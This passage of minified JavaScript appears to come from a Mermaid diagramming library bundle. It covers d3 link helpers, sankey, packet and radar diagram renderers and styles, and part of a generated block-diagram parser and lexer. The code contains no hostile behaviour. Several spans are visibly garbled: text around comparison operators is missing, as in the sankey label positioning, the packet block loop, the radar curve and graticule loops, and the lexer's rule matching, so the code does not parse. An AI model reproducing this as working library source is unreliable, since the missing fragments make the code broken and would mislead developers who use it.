"+r);this._x1===null?this._+="M"+u+","+h:(Math.abs(this._x1-u)>f0||Math.abs(this._y1-h)>f0)&&(this._+="L"+u+","+h),r&&(d<0&&(d=d%az+az),d>lrt?this._+="A"+r+","+r+",0,1,"+f+","+(t-s)+","+(e-l)+"A"+r+","+r+",0,1,"+f+","+(this._x1=u)+","+(this._y1=h):d>f0&&(this._+="A"+r+","+r+",0,"+ +(d>=iz)+","+f+","+(this._x1=t+r*Math.cos(i))+","+(this._y1=e+r*Math.sin(i))))},"arc"),rect:o(function(t,e,r,n){this._+="M"+(this._x0=this._x1=+t)+","+(this._y0=this._y1=+e)+"h"+ +r+"v"+ +n+"h"+-r+"Z"},"rect"),toString:o(function(){return this._},"toString")};oz=Cxe});var _xe=N(()=>{"use strict";Axe()});function AC(t){return o(function(){return t},"constant")}var Dxe=N(()=>{"use strict";o(AC,"default")});function Lxe(t){return t[0]}function Rxe(t){return t[1]}var Nxe=N(()=>{"use strict";o(Lxe,"x");o(Rxe,"y")});var Mxe,Ixe=N(()=>{"use strict";Mxe=Array.prototype.slice});function crt(t){return t.source}function urt(t){return t.target}function hrt(t){var e=crt,r=urt,n=Lxe,i=Rxe,a=null;function s(){var l,u=Mxe.call(arguments),h=e.apply(this,u),f=r.apply(this,u);if(a||(a=l=oz()),t(a,+n.apply(this,(u[0]=h,u)),+i.apply(this,u),+n.apply(this,(u[0]=f,u)),+i.apply(this,u)),l)return a=null,l+""||null}return o(s,"link"),s.source=function(l){return arguments.length?(e=l,s):e},s.target=function(l){return arguments.length?(r=l,s):r},s.x=function(l){return arguments.length?(n=typeof l=="function"?l:AC(+l),s):n},s.y=function(l){return arguments.length?(i=typeof l=="function"?l:AC(+l),s):i},s.context=function(l){return arguments.length?(a=l??null,s):a},s}function frt(t,e,r,n,i){t.moveTo(e,r),t.bezierCurveTo(e=(e+n)/2,r,e,i,n,i)}function lz(){return hrt(frt)}var Oxe=N(()=>{"use strict";_xe();Ixe();Dxe();Nxe();o(crt,"linkSource");o(urt,"linkTarget");o(hrt,"link");o(frt,"curveHorizontal");o(lz,"linkHorizontal")});var Pxe=N(()=>{"use strict";Oxe()});function drt(t){return[t.source.x1,t.y0]}function prt(t){return[t.target.x0,t.y1]}function _C(){return lz().source(drt).target(prt)}var Bxe=N(()=>{"use strict";Pxe();o(drt,"horizontalSource");o(prt,"horizontalTarget");o(_C,"default")});var Fxe=N(()=>{"use strict";Sxe();rz();Bxe()});var L4,$xe=N(()=>{"use strict";L4=class t{static{o(this,"Uid")}static{this.count=0}static next(e){return new t(e+ ++t.count)}constructor(e){this.id=e,this.href=`#${e}`}toString(){return"url("+this.href+")"}}});var mrt,grt,zxe,Gxe=N(()=>{"use strict";Xt();yr();Fxe();Ei();$xe();mrt={left:J$,right:ez,center:tz,justify:D4},grt=o(function(t,e,r,n){let{securityLevel:i,sankey:a}=ge(),s=G3.sankey,l;i==="sandbox"&&(l=qe("#i"+e));let u=i==="sandbox"?qe(l.nodes()[0].contentDocument.body):qe("body"),h=i==="sandbox"?u.select(`[id="${e}"]`):qe(`[id="${e}"]`),f=a?.width??s.width,d=a?.height??s.width,p=a?.useMaxWidth??s.useMaxWidth,m=a?.nodeAlignment??s.nodeAlignment,g=a?.prefix??s.prefix,y=a?.suffix??s.suffix,v=a?.showValues??s.showValues,x=n.db.getGraph(),b=mrt[m];CC().nodeId(I=>I.id).nodeWidth(10).nodePadding(10+(v?15:0)).nodeAlign(b).extent([[0,0],[f,d]])(x);let w=no(YD);h.append("g").attr("class","nodes").selectAll(".node").data(x.nodes).join("g").attr("class","node").attr("id",I=>(I.uid=L4.next("node-")).id).attr("transform",function(I){return"translate("+I.x0+","+I.y0+")"}).attr("x",I=>I.x0).attr("y",I=>I.y0).append("rect").attr("height",I=>I.y1-I.y0).attr("width",I=>I.x1-I.x0).attr("fill",I=>w(I.id));let k=o(({id:I,value:L})=>v?`${I} +${g}${Math.round(L*100)/100}${y}`:I,"getText");h.append("g").attr("class","node-labels").attr("font-size",14).selectAll("text").data(x.nodes).join("text").attr("x",I=>I.x0(I.y1+I.y0)/2).attr("dy",`${v?"0":"0.35"}em`).attr("text-anchor",I=>I.x0(L.uid=L4.next("linearGradient-")).id).attr("gradientUnits","userSpaceOnUse").attr("x1",L=>L.source.x1).attr("x2",L=>L.target.x0);I.append("stop").attr("offset","0%").attr("stop-color",L=>w(L.source.id)),I.append("stop").attr("offset","100%").attr("stop-color",L=>w(L.target.id))}let R;switch(C){case"gradient":R=o(I=>I.uid,"coloring");break;case"source":R=o(I=>w(I.source.id),"coloring");break;case"target":R=o(I=>w(I.target.id),"coloring");break;default:R=C}A.append("path").attr("d",_C()).attr("stroke",R).attr("stroke-width",I=>Math.max(1,I.width)),ic(void 0,h,0,p)},"draw"),zxe={draw:grt}});var Vxe,Uxe=N(()=>{"use strict";Vxe=o(t=>t.replaceAll(/^[^\S\n\r]+|[^\S\n\r]+$/g,"").replaceAll(/([\n\r])+/g,` +`).trim(),"prepareTextForParsing")});var yrt,Hxe,qxe=N(()=>{"use strict";yrt=o(t=>`.label { + font-family: ${t.fontFamily}; + }`,"getStyles"),Hxe=yrt});var Wxe={};dr(Wxe,{diagram:()=>xrt});var vrt,xrt,Yxe=N(()=>{"use strict";pxe();gxe();Gxe();Uxe();qxe();vrt=A4.parse.bind(A4);A4.parse=t=>vrt(Vxe(t));xrt={styles:Hxe,parser:A4,db:mxe,renderer:zxe}});var krt,gy,cz=N(()=>{"use strict";qn();La();tr();ci();krt=ur.packet,gy=class{constructor(){this.packet=[];this.setAccTitle=Rr;this.getAccTitle=Mr;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getAccDescription=Or;this.setAccDescription=Ir}static{o(this,"PacketDB")}getConfig(){let e=Vn({...krt,...Qt().packet});return e.showBits&&(e.paddingY+=10),e}getPacket(){return this.packet}pushWord(e){e.length>0&&this.packet.push(e)}clear(){Sr(),this.packet=[]}}});var Ert,Srt,Crt,uz,Kxe=N(()=>{"use strict";Uf();pt();r0();cz();Ert=1e4,Srt=o((t,e)=>{nl(t,e);let r=-1,n=[],i=1,{bitsPerRow:a}=e.getConfig();for(let{start:s,end:l,bits:u,label:h}of t.blocks){if(s!==void 0&&l!==void 0&&l{if(t.start===void 0)throw new Error("start should have been set during first phase");if(t.end===void 0)throw new Error("end should have been set during first phase");if(t.start>t.end)throw new Error(`Block start ${t.start} is greater than block end ${t.end}.`);if(t.end+1<=e*r)return[t,void 0];let n=e*r-1,i=e*r;return[{start:t.start,end:n,label:t.label,bits:n-t.start},{start:i,end:t.end,label:t.label,bits:t.end-i}]},"getNextFittingBlock"),uz={parser:{yy:void 0},parse:o(async t=>{let e=await bs("packet",t),r=uz.parser?.yy;if(!(r instanceof gy))throw new Error("parser.parser?.yy was not a PacketDB. This is due to a bug within Mermaid, please report this issue at https://github.com/mermaid-js/mermaid/issues.");X.debug(e),Srt(e,r)},"parse")}});var Art,_rt,Qxe,Zxe=N(()=>{"use strict";tu();Ei();Art=o((t,e,r,n)=>{let i=n.db,a=i.getConfig(),{rowHeight:s,paddingY:l,bitWidth:u,bitsPerRow:h}=a,f=i.getPacket(),d=i.getDiagramTitle(),p=s+l,m=p*(f.length+1)-(d?0:s),g=u*h+2,y=aa(e);y.attr("viewbox",`0 0 ${g} ${m}`),mn(y,m,g,a.useMaxWidth);for(let[v,x]of f.entries())_rt(y,x,v,a);y.append("text").text(d).attr("x",g/2).attr("y",m-p/2).attr("dominant-baseline","middle").attr("text-anchor","middle").attr("class","packetTitle")},"draw"),_rt=o((t,e,r,{rowHeight:n,paddingX:i,paddingY:a,bitWidth:s,bitsPerRow:l,showBits:u})=>{let h=t.append("g"),f=r*(n+a)+a;for(let d of e){let p=d.start%l*s+1,m=(d.end-d.start+1)*s-i;if(h.append("rect").attr("x",p).attr("y",f).attr("width",m).attr("height",n).attr("class","packetBlock"),h.append("text").attr("x",p+m/2).attr("y",f+n/2).attr("class","packetLabel").attr("dominant-baseline","middle").attr("text-anchor","middle").text(d.label),!u)continue;let g=d.end===d.start,y=f-2;h.append("text").attr("x",p+(g?m/2:0)).attr("y",y).attr("class","packetByte start").attr("dominant-baseline","auto").attr("text-anchor",g?"middle":"start").text(d.start),g||h.append("text").attr("x",p+m).attr("y",y).attr("class","packetByte end").attr("dominant-baseline","auto").attr("text-anchor","end").text(d.end)}},"drawWord"),Qxe={draw:Art}});var Drt,Jxe,ebe=N(()=>{"use strict";tr();Drt={byteFontSize:"10px",startByteColor:"black",endByteColor:"black",labelColor:"black",labelFontSize:"12px",titleColor:"black",titleFontSize:"14px",blockStrokeColor:"black",blockStrokeWidth:"1",blockFillColor:"#efefef"},Jxe=o(({packet:t}={})=>{let e=Vn(Drt,t);return` + .packetByte { + font-size: ${e.byteFontSize}; + } + .packetByte.start { + fill: ${e.startByteColor}; + } + .packetByte.end { + fill: ${e.endByteColor}; + } + .packetLabel { + fill: ${e.labelColor}; + font-size: ${e.labelFontSize}; + } + .packetTitle { + fill: ${e.titleColor}; + font-size: ${e.titleFontSize}; + } + .packetBlock { + stroke: ${e.blockStrokeColor}; + stroke-width: ${e.blockStrokeWidth}; + fill: ${e.blockFillColor}; + } + `},"styles")});var tbe={};dr(tbe,{diagram:()=>Lrt});var Lrt,rbe=N(()=>{"use strict";cz();Kxe();Zxe();ebe();Lrt={parser:uz,get db(){return new gy},renderer:Qxe,styles:Jxe}});var yy,abe,d0,Mrt,Irt,sbe,Ort,Prt,Brt,Frt,$rt,zrt,Grt,p0,hz=N(()=>{"use strict";qn();La();tr();ci();yy={showLegend:!0,ticks:5,max:null,min:0,graticule:"circle"},abe={axes:[],curves:[],options:yy},d0=structuredClone(abe),Mrt=ur.radar,Irt=o(()=>Vn({...Mrt,...Qt().radar}),"getConfig"),sbe=o(()=>d0.axes,"getAxes"),Ort=o(()=>d0.curves,"getCurves"),Prt=o(()=>d0.options,"getOptions"),Brt=o(t=>{d0.axes=t.map(e=>({name:e.name,label:e.label??e.name}))},"setAxes"),Frt=o(t=>{d0.curves=t.map(e=>({name:e.name,label:e.label??e.name,entries:$rt(e.entries)}))},"setCurves"),$rt=o(t=>{if(t[0].axis==null)return t.map(r=>r.value);let e=sbe();if(e.length===0)throw new Error("Axes must be populated before curves for reference entries");return e.map(r=>{let n=t.find(i=>i.axis?.$refText===r.name);if(n===void 0)throw new Error("Missing entry for axis "+r.label);return n.value})},"computeCurveEntries"),zrt=o(t=>{let e=t.reduce((r,n)=>(r[n.name]=n,r),{});d0.options={showLegend:e.showLegend?.value??yy.showLegend,ticks:e.ticks?.value??yy.ticks,max:e.max?.value??yy.max,min:e.min?.value??yy.min,graticule:e.graticule?.value??yy.graticule}},"setOptions"),Grt=o(()=>{Sr(),d0=structuredClone(abe)},"clear"),p0={getAxes:sbe,getCurves:Ort,getOptions:Prt,setAxes:Brt,setCurves:Frt,setOptions:zrt,getConfig:Irt,clear:Grt,setAccTitle:Rr,getAccTitle:Mr,setDiagramTitle:$r,getDiagramTitle:Pr,getAccDescription:Or,setAccDescription:Ir}});var Vrt,obe,lbe=N(()=>{"use strict";Uf();pt();r0();hz();Vrt=o(t=>{nl(t,p0);let{axes:e,curves:r,options:n}=t;p0.setAxes(e),p0.setCurves(r),p0.setOptions(n)},"populate"),obe={parse:o(async t=>{let e=await bs("radar",t);X.debug(e),Vrt(e)},"parse")}});function Yrt(t,e,r,n,i,a,s){let l=e.length,u=Math.min(s.width,s.height)/2;r.forEach((h,f)=>{if(h.entries.length!==l)return;let d=h.entries.map((p,m)=>{let g=2*Math.PI*m/l-Math.PI/2,y=Xrt(p,n,i,u),v=y*Math.cos(g),x=y*Math.sin(g);return{x:v,y:x}});a==="circle"?t.append("path").attr("d",jrt(d,s.curveTension)).attr("class",`radarCurve-${f}`):a==="polygon"&&t.append("polygon").attr("points",d.map(p=>`${p.x},${p.y}`).join(" ")).attr("class",`radarCurve-${f}`)})}function Xrt(t,e,r,n){let i=Math.min(Math.max(t,e),r);return n*(i-e)/(r-e)}function jrt(t,e){let r=t.length,n=`M${t[0].x},${t[0].y}`;for(let i=0;i{let h=t.append("g").attr("transform",`translate(${i}, ${a+u*s})`);h.append("rect").attr("width",12).attr("height",12).attr("class",`radarLegendBox-${u}`),h.append("text").attr("x",16).attr("y",0).attr("class","radarLegendText").text(l.label)})}var Urt,Hrt,qrt,Wrt,cbe,ube=N(()=>{"use strict";tu();Urt=o((t,e,r,n)=>{let i=n.db,a=i.getAxes(),s=i.getCurves(),l=i.getOptions(),u=i.getConfig(),h=i.getDiagramTitle(),f=aa(e),d=Hrt(f,u),p=l.max??Math.max(...s.map(y=>Math.max(...y.entries))),m=l.min,g=Math.min(u.width,u.height)/2;qrt(d,a,g,l.ticks,l.graticule),Wrt(d,a,g,u),Yrt(d,a,s,m,p,l.graticule,u),Krt(d,s,l.showLegend,u),d.append("text").attr("class","radarTitle").text(h).attr("x",0).attr("y",-u.height/2-u.marginTop)},"draw"),Hrt=o((t,e)=>{let r=e.width+e.marginLeft+e.marginRight,n=e.height+e.marginTop+e.marginBottom,i={x:e.marginLeft+e.width/2,y:e.marginTop+e.height/2};return t.attr("viewbox",`0 0 ${r} ${n}`).attr("width",r).attr("height",n),t.append("g").attr("transform",`translate(${i.x}, ${i.y})`)},"drawFrame"),qrt=o((t,e,r,n,i)=>{if(i==="circle")for(let a=0;a{let d=2*f*Math.PI/a-Math.PI/2,p=l*Math.cos(d),m=l*Math.sin(d);return`${p},${m}`}).join(" ");t.append("polygon").attr("points",u).attr("class","radarGraticule")}}},"drawGraticule"),Wrt=o((t,e,r,n)=>{let i=e.length;for(let a=0;a{"use strict";tr();Oy();qn();Qrt=o((t,e)=>{let r="";for(let n=0;n{let e=mh(),r=Qt(),n=Vn(e,r.themeVariables),i=Vn(n.radar,t);return{themeVariables:n,radarOptions:i}},"buildRadarStyleOptions"),hbe=o(({radar:t}={})=>{let{themeVariables:e,radarOptions:r}=Zrt(t);return` + .radarTitle { + font-size: ${e.fontSize}; + color: ${e.titleColor}; + dominant-baseline: hanging; + text-anchor: middle; + } + .radarAxisLine { + stroke: ${r.axisColor}; + stroke-width: ${r.axisStrokeWidth}; + } + .radarAxisLabel { + dominant-baseline: middle; + text-anchor: middle; + font-size: ${r.axisLabelFontSize}px; + color: ${r.axisColor}; + } + .radarGraticule { + fill: ${r.graticuleColor}; + fill-opacity: ${r.graticuleOpacity}; + stroke: ${r.graticuleColor}; + stroke-width: ${r.graticuleStrokeWidth}; + } + .radarLegendText { + text-anchor: start; + font-size: ${r.legendFontSize}px; + dominant-baseline: hanging; + } + ${Qrt(e,r)} + `},"styles")});var dbe={};dr(dbe,{diagram:()=>Jrt});var Jrt,pbe=N(()=>{"use strict";hz();lbe();ube();fbe();Jrt={parser:obe,db:p0,renderer:cbe,styles:hbe}});var fz,ybe,vbe=N(()=>{"use strict";fz=(function(){var t=o(function(T,S,w,k){for(w=w||{},k=T.length;k--;w[T[k]]=S);return w},"o"),e=[1,15],r=[1,7],n=[1,13],i=[1,14],a=[1,19],s=[1,16],l=[1,17],u=[1,18],h=[8,30],f=[8,10,21,28,29,30,31,39,43,46],d=[1,23],p=[1,24],m=[8,10,15,16,21,28,29,30,31,39,43,46],g=[8,10,15,16,21,27,28,29,30,31,39,43,46],y=[1,49],v={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,spaceLines:3,SPACELINE:4,NL:5,separator:6,SPACE:7,EOF:8,start:9,BLOCK_DIAGRAM_KEY:10,document:11,stop:12,statement:13,link:14,LINK:15,START_LINK:16,LINK_LABEL:17,STR:18,nodeStatement:19,columnsStatement:20,SPACE_BLOCK:21,blockStatement:22,classDefStatement:23,cssClassStatement:24,styleStatement:25,node:26,SIZE:27,COLUMNS:28,"id-block":29,end:30,NODE_ID:31,nodeShapeNLabel:32,dirList:33,DIR:34,NODE_DSTART:35,NODE_DEND:36,BLOCK_ARROW_START:37,BLOCK_ARROW_END:38,classDef:39,CLASSDEF_ID:40,CLASSDEF_STYLEOPTS:41,DEFAULT:42,class:43,CLASSENTITY_IDS:44,STYLECLASS:45,style:46,STYLE_ENTITY_IDS:47,STYLE_DEFINITION_DATA:48,$accept:0,$end:1},terminals_:{2:"error",4:"SPACELINE",5:"NL",7:"SPACE",8:"EOF",10:"BLOCK_DIAGRAM_KEY",15:"LINK",16:"START_LINK",17:"LINK_LABEL",18:"STR",21:"SPACE_BLOCK",27:"SIZE",28:"COLUMNS",29:"id-block",30:"end",31:"NODE_ID",34:"DIR",35:"NODE_DSTART",36:"NODE_DEND",37:"BLOCK_ARROW_START",38:"BLOCK_ARROW_END",39:"classDef",40:"CLASSDEF_ID",41:"CLASSDEF_STYLEOPTS",42:"DEFAULT",43:"class",44:"CLASSENTITY_IDS",45:"STYLECLASS",46:"style",47:"STYLE_ENTITY_IDS",48:"STYLE_DEFINITION_DATA"},productions_:[0,[3,1],[3,2],[3,2],[6,1],[6,1],[6,1],[9,3],[12,1],[12,1],[12,2],[12,2],[11,1],[11,2],[14,1],[14,4],[13,1],[13,1],[13,1],[13,1],[13,1],[13,1],[13,1],[19,3],[19,2],[19,1],[20,1],[22,4],[22,3],[26,1],[26,2],[33,1],[33,2],[32,3],[32,4],[23,3],[23,3],[24,3],[25,3]],performAction:o(function(S,w,k,A,C,R,I){var L=R.length-1;switch(C){case 4:A.getLogger().debug("Rule: separator (NL) ");break;case 5:A.getLogger().debug("Rule: separator (Space) ");break;case 6:A.getLogger().debug("Rule: separator (EOF) ");break;case 7:A.getLogger().debug("Rule: hierarchy: ",R[L-1]),A.setHierarchy(R[L-1]);break;case 8:A.getLogger().debug("Stop NL ");break;case 9:A.getLogger().debug("Stop EOF ");break;case 10:A.getLogger().debug("Stop NL2 ");break;case 11:A.getLogger().debug("Stop EOF2 ");break;case 12:A.getLogger().debug("Rule: statement: ",R[L]),typeof R[L].length=="number"?this.$=R[L]:this.$=[R[L]];break;case 13:A.getLogger().debug("Rule: statement #2: ",R[L-1]),this.$=[R[L-1]].concat(R[L]);break;case 14:A.getLogger().debug("Rule: link: ",R[L],S),this.$={edgeTypeStr:R[L],label:""};break;case 15:A.getLogger().debug("Rule: LABEL link: ",R[L-3],R[L-1],R[L]),this.$={edgeTypeStr:R[L],label:R[L-1]};break;case 18:let E=parseInt(R[L]),D=A.generateId();this.$={id:D,type:"space",label:"",width:E,children:[]};break;case 23:A.getLogger().debug("Rule: (nodeStatement link node) ",R[L-2],R[L-1],R[L]," typestr: ",R[L-1].edgeTypeStr);let _=A.edgeStrToEdgeData(R[L-1].edgeTypeStr);this.$=[{id:R[L-2].id,label:R[L-2].label,type:R[L-2].type,directions:R[L-2].directions},{id:R[L-2].id+"-"+R[L].id,start:R[L-2].id,end:R[L].id,label:R[L-1].label,type:"edge",directions:R[L].directions,arrowTypeEnd:_,arrowTypeStart:"arrow_open"},{id:R[L].id,label:R[L].label,type:A.typeStr2Type(R[L].typeStr),directions:R[L].directions}];break;case 24:A.getLogger().debug("Rule: nodeStatement (abc88 node size) ",R[L-1],R[L]),this.$={id:R[L-1].id,label:R[L-1].label,type:A.typeStr2Type(R[L-1].typeStr),directions:R[L-1].directions,widthInColumns:parseInt(R[L],10)};break;case 25:A.getLogger().debug("Rule: nodeStatement (node) ",R[L]),this.$={id:R[L].id,label:R[L].label,type:A.typeStr2Type(R[L].typeStr),directions:R[L].directions,widthInColumns:1};break;case 26:A.getLogger().debug("APA123",this?this:"na"),A.getLogger().debug("COLUMNS: ",R[L]),this.$={type:"column-setting",columns:R[L]==="auto"?-1:parseInt(R[L])};break;case 27:A.getLogger().debug("Rule: id-block statement : ",R[L-2],R[L-1]);let O=A.generateId();this.$={...R[L-2],type:"composite",children:R[L-1]};break;case 28:A.getLogger().debug("Rule: blockStatement : ",R[L-2],R[L-1],R[L]);let M=A.generateId();this.$={id:M,type:"composite",label:"",children:R[L-1]};break;case 29:A.getLogger().debug("Rule: node (NODE_ID separator): ",R[L]),this.$={id:R[L]};break;case 30:A.getLogger().debug("Rule: node (NODE_ID nodeShapeNLabel separator): ",R[L-1],R[L]),this.$={id:R[L-1],label:R[L].label,typeStr:R[L].typeStr,directions:R[L].directions};break;case 31:A.getLogger().debug("Rule: dirList: ",R[L]),this.$=[R[L]];break;case 32:A.getLogger().debug("Rule: dirList: ",R[L-1],R[L]),this.$=[R[L-1]].concat(R[L]);break;case 33:A.getLogger().debug("Rule: nodeShapeNLabel: ",R[L-2],R[L-1],R[L]),this.$={typeStr:R[L-2]+R[L],label:R[L-1]};break;case 34:A.getLogger().debug("Rule: BLOCK_ARROW nodeShapeNLabel: ",R[L-3],R[L-2]," #3:",R[L-1],R[L]),this.$={typeStr:R[L-3]+R[L],label:R[L-2],directions:R[L-1]};break;case 35:case 36:this.$={type:"classDef",id:R[L-1].trim(),css:R[L].trim()};break;case 37:this.$={type:"applyClass",id:R[L-1].trim(),styleClass:R[L].trim()};break;case 38:this.$={type:"applyStyles",id:R[L-1].trim(),stylesStr:R[L].trim()};break}},"anonymous"),table:[{9:1,10:[1,2]},{1:[3]},{10:e,11:3,13:4,19:5,20:6,21:r,22:8,23:9,24:10,25:11,26:12,28:n,29:i,31:a,39:s,43:l,46:u},{8:[1,20]},t(h,[2,12],{13:4,19:5,20:6,22:8,23:9,24:10,25:11,26:12,11:21,10:e,21:r,28:n,29:i,31:a,39:s,43:l,46:u}),t(f,[2,16],{14:22,15:d,16:p}),t(f,[2,17]),t(f,[2,18]),t(f,[2,19]),t(f,[2,20]),t(f,[2,21]),t(f,[2,22]),t(m,[2,25],{27:[1,25]}),t(f,[2,26]),{19:26,26:12,31:a},{10:e,11:27,13:4,19:5,20:6,21:r,22:8,23:9,24:10,25:11,26:12,28:n,29:i,31:a,39:s,43:l,46:u},{40:[1,28],42:[1,29]},{44:[1,30]},{47:[1,31]},t(g,[2,29],{32:32,35:[1,33],37:[1,34]}),{1:[2,7]},t(h,[2,13]),{26:35,31:a},{31:[2,14]},{17:[1,36]},t(m,[2,24]),{10:e,11:37,13:4,14:22,15:d,16:p,19:5,20:6,21:r,22:8,23:9,24:10,25:11,26:12,28:n,29:i,31:a,39:s,43:l,46:u},{30:[1,38]},{41:[1,39]},{41:[1,40]},{45:[1,41]},{48:[1,42]},t(g,[2,30]),{18:[1,43]},{18:[1,44]},t(m,[2,23]),{18:[1,45]},{30:[1,46]},t(f,[2,28]),t(f,[2,35]),t(f,[2,36]),t(f,[2,37]),t(f,[2,38]),{36:[1,47]},{33:48,34:y},{15:[1,50]},t(f,[2,27]),t(g,[2,33]),{38:[1,51]},{33:52,34:y,38:[2,31]},{31:[2,15]},t(g,[2,34]),{38:[2,32]}],defaultActions:{20:[2,7],23:[2,14],50:[2,15],52:[2,32]},parseError:o(function(S,w){if(w.recoverable)this.trace(S);else{var k=new Error(S);throw k.hash=w,k}},"parseError"),parse:o(function(S){var w=this,k=[0],A=[],C=[null],R=[],I=this.table,L="",E=0,D=0,_=0,O=2,M=1,P=R.slice.call(arguments,1),B=Object.create(this.lexer),F={yy:{}};for(var G in this.yy)Object.prototype.hasOwnProperty.call(this.yy,G)&&(F.yy[G]=this.yy[G]);B.setInput(S,F.yy),F.yy.lexer=B,F.yy.parser=this,typeof B.yylloc>"u"&&(B.yylloc={});var $=B.yylloc;R.push($);var U=B.options&&B.options.ranges;typeof F.yy.parseError=="function"?this.parseError=F.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function j(Te){k.length=k.length-2*Te,C.length=C.length-Te,R.length=R.length-Te}o(j,"popStack");function te(){var Te;return Te=A.pop()||B.lex()||M,typeof Te!="number"&&(Te instanceof Array&&(A=Te,Te=A.pop()),Te=w.symbols_[Te]||Te),Te}o(te,"lex");for(var Y,oe,J,ue,re,ee,Z={},K,ae,Q,de;;){if(J=k[k.length-1],this.defaultActions[J]?ue=this.defaultActions[J]:((Y===null||typeof Y>"u")&&(Y=te()),ue=I[J]&&I[J][Y]),typeof ue>"u"||!ue.length||!ue[0]){var ne="";de=[];for(K in I[J])this.terminals_[K]&&K>O&&de.push("'"+this.terminals_[K]+"'");B.showPosition?ne="Parse error on line "+(E+1)+`: +`+B.showPosition()+` +Expecting `+de.join(", ")+", got '"+(this.terminals_[Y]||Y)+"'":ne="Parse error on line "+(E+1)+": Unexpected "+(Y==M?"end of input":"'"+(this.terminals_[Y]||Y)+"'"),this.parseError(ne,{text:B.match,token:this.terminals_[Y]||Y,line:B.yylineno,loc:$,expected:de})}if(ue[0]instanceof Array&&ue.length>1)throw new Error("Parse Error: multiple actions possible at state: "+J+", token: "+Y);switch(ue[0]){case 1:k.push(Y),C.push(B.yytext),R.push(B.yylloc),k.push(ue[1]),Y=null,oe?(Y=oe,oe=null):(D=B.yyleng,L=B.yytext,E=B.yylineno,$=B.yylloc,_>0&&_--);break;case 2:if(ae=this.productions_[ue[1]][1],Z.$=C[C.length-ae],Z._$={first_line:R[R.length-(ae||1)].first_line,last_line:R[R.length-1].last_line,first_column:R[R.length-(ae||1)].first_column,last_column:R[R.length-1].last_column},U&&(Z._$.range=[R[R.length-(ae||1)].range[0],R[R.length-1].range[1]]),ee=this.performAction.apply(Z,[L,D,E,F.yy,ue[1],C,R].concat(P)),typeof ee<"u")return ee;ae&&(k=k.slice(0,-1*ae*2),C=C.slice(0,-1*ae),R=R.slice(0,-1*ae)),k.push(this.productions_[ue[1]][0]),C.push(Z.$),R.push(Z._$),Q=I[k[k.length-2]][k[k.length-1]],k.push(Q);break;case 3:return!0}}return!0},"parse")},x=(function(){var T={EOF:1,parseError:o(function(w,k){if(this.yy.parser)this.yy.parser.parseError(w,k);else throw new Error(w)},"parseError"),setInput:o(function(S,w){return this.yy=w||this.yy||{},this._input=S,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var S=this._input[0];this.yytext+=S,this.yyleng++,this.offset++,this.match+=S,this.matched+=S;var w=S.match(/(?:\r\n?|\n).*/g);return w?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),S},"input"),unput:o(function(S){var w=S.length,k=S.split(/(?:\r\n?|\n)/g);this._input=S+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-w),this.offset-=w;var A=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),k.length-1&&(this.yylineno-=k.length-1);var C=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:k?(k.length===A.length?this.yylloc.first_column:0)+A[A.length-k.length].length-k[0].length:this.yylloc.first_column-w},this.options.ranges&&(this.yylloc.range=[C[0],C[0]+this.yyleng-w]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(S){this.unput(this.match.slice(S))},"less"),pastInput:o(function(){var S=this.matched.substr(0,this.matched.length-this.match.length);return(S.length>20?"...":"")+S.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var S=this.match;return S.length<20&&(S+=this._input.substr(0,20-S.length)),(S.substr(0,20)+(S.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var S=this.pastInput(),w=new Array(S.length+1).join("-");return S+this.upcomingInput()+` +`+w+"^"},"showPosition"),test_match:o(function(S,w){var k,A,C;if(this.options.backtrack_lexer&&(C={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(C.yylloc.range=this.yylloc.range.slice(0))),A=S[0].match(/(?:\r\n?|\n).*/g),A&&(this.yylineno+=A.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:A?A[A.length-1].length-A[A.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+S[0].length},this.yytext+=S[0],this.match+=S[0],this.matches=S,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(S[0].length),this.matched+=S[0],k=this.performAction.call(this,this.yy,this,w,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),k)return k;if(this._backtrack){for(var R in C)this[R]=C[R];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var S,w,k,A;this._more||(this.yytext="",this.match="");for(var C=this._currentRules(),R=0;Rw[0].length)){if(w=k,A=R,this.options.backtrack_lexer){if(S=this.test_match(k,C[R]),S!==!1)return S;if(this._backtrack){w=!1;continue}else return!1}else if(!this.options.flex)break}return w?(S=this.test_match(w,C[A]),S!==!1?S:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var w=this.next();return 